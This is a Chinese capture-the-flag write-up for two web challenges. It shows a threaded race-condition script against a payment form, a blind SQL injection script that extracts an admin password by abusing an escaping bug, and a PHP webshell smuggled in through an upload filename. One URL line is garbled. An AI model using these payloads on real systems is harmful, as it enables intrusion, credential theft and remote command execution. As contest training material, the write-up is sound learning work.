## Aurora\_Web\_Exam1

**Q** 49.234.77.58/index.php/2019/10/20/aurora web exam1

XZLang 2019年10月20日

0x00 Easy\_shop

# 极光实验室flag售卖中心

您当前的余额: 0元

支付		元购买flag
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已支付20元,可是flag最低要21元...

重置

https://bloa.csdn.net/aa 43399979

显而易见,这里需要一些操作让自己支付21元及以上。 拿到这道题的最初反应是利用整数溢出,但试过常见的操作后发现不太可行。 然后。。。类似于这种题目一般都是溢出或者条件竞争,于是写一个多线程的脚步跑出了 flag。

代码如下:

```
import requests
import threading
import queue
url = "http://47.112.16.34:22255/index.php"
threads = 25
q = queue.Queue()
for i in range(50):
  q.put(i)
def post():
  while not q.empty():
     q.get()
     r = requests.post(url, data = {'money': 1})
     print(r.text)
if __name__ == '__main__':
  for i in range(threads):
     t = threading.Thread(target = post)
     t.start()
  for i in range(threads):
     t.join()
```

emmmm,这种脚步并不是每次都能跑出来结果,多跑几次总会出来的。

### 0x01 Easy Web

打开之后又是登录框,先看看源码,到处点一点,发现在image这个页面下存在id参数,怀疑存在SQL注入漏洞,扫目录发现了image.php的源码。

```
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'",""),"",$id);
$path=str_replace(array("\\0","%00","\\'",""),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

https://blog.csdn.net/qq_43399978</pre>
```

审计一下,首先两个参数经过了addslashes这个有趣的函数,这个函数会在每个引号以及反斜杠之前加上反斜杠,那么如果我们给定id参数为"\0",那么就会变成"\0",然后下面的str\_replace就会把'\0'给过滤掉。那么'{\$id}'成功的变成了'\',这样右边的单引号就被转义了。然后就是正常的bool盲注了,这里本来可以通过BP来直接跑,最后还是觉得写脚本舒服一些,

#### 不知道如何提取图片的宽高信息,于是就提取一段图片中的特征序列来进行bool判别。 (其实第一遍是手搓的,emmmmm丢人)

#### 以下附上脚本代码:

```
import requests
url = \frac{1}{47.106.94.13:40005/image.php?id} = \frac{1}{111.06.94.13:40005/image.php?id} = \frac{1}{1110.06.94.13:40005/image.php?id} = \frac{1}{1110.06.13:40005/image.php?id} = \frac{1}{1110.06.13:40005/image.php?id} = \frac{1}{1110.06.94.13:40005/image.php?id} = \frac{1}{1110.06.94.13:40005/image.php?id} = \frac{1}{1110.06.94.13:40005/image.php?id} = \frac{1}{1110.06.94.13:40005/image.php?id} = \frac{1}{1110.06.06.13:40005/image.php?id} = \frac{1}{1110.06.06.13:40005/image.php?id} = \frac{1}{1110.06.06.13:40005/image.php?id} = \frac{1}{1110.06.06.13:40005/image.php?id} = \frac{1}{1110.06.06.13:40005/image.php?id} = \frac{1}{1110.06.06.13:40005/image.php?id} = \frac{1}{1110.06.06.13:40005/image.php?id
a = bytes()
a = b'\x27\xC6\x3B\x1A\x78\x14\xCF\x68\x10\x8E\xAB\x8C\x0F\x6A\xD7\xE8'
length = 0
def is_true(url):
     r = requests.get(url)
     if (a in r.content):
           return True
      else:
           return False
def search(url, low, high):
     if(low >= high):
           return chr(low)
     mid = (low + high)//2
     if(is true(url.format(mid))):
           return search(url, mid + 1, high)
      else:
           return search(url, low, mid)
for i in range(50):
      #payload = 'length(database())=' + str(i)
      #payload = 'length((select group_concat(table_name) from information_schema.tables where
table schema=0x636973636E66696E616C))=' + str(i)
      #payload = 'length((select group concat(column name) from information schema.columns where
table name=0x7573657273))=' + str(i)
      payload = 'length((select password from users where username=0x61646D696E))=' + str(i)
     if(is true(url.format(payload)) == True):
           print('Length: ' + str(i))
           length = i
           break
final = ""
for i in range(1,length + 1):
      #payload = 'ascii(substr(database(),' + str(i) + ',1))>{}'
      #payload = 'ascii(substr((select group concat(table name) from information schema.tables where
table_schema=0x636973636E66696E616C),' + str(i) + ',1))>{}'
      #payload = 'ascii(substr((select group_concat(column_name) from information schema.columns
where table name=0x7573657273),' + str(i) + ',1))>{}'
      payload = 'ascii(substr((select password from users where username=0x61646D696E),' + str(i) +
     final += search(url.format(payload), 1, 128)
      print(final)
```

如此便可以拿到password,登录之后。。。。还有第二关,上传文件,试着传了一个jpg抓包看了看,发现回显了一个存放文件上传记录的PHP文件。 打开后看到文件名和用户名回显了。

## User admin uploaded file 2332333.jpg.

注意到此时文件是PHP,突然想到是不是可以通过修改文件名的方式来构造webshell。于是有了如下操作:

回显页面:

; filename="233<?= system(\$\_GET['1551']);?>2333"

User admin uploaded file 2332333.jpg.

中间的PHP代码被吞掉了,说明我们的shell成功被服务器解析了,后续就是拿flag了。



 $User\ admin\ uploaded\ file\ 233flag\{blind\_injection\_and\_short\_tag\_is\_coolIII\}\ flag\{blind\_injection\_and\_short\_tag\_is\_coolIII\}\ 2333.$ 

flag**到手!** 

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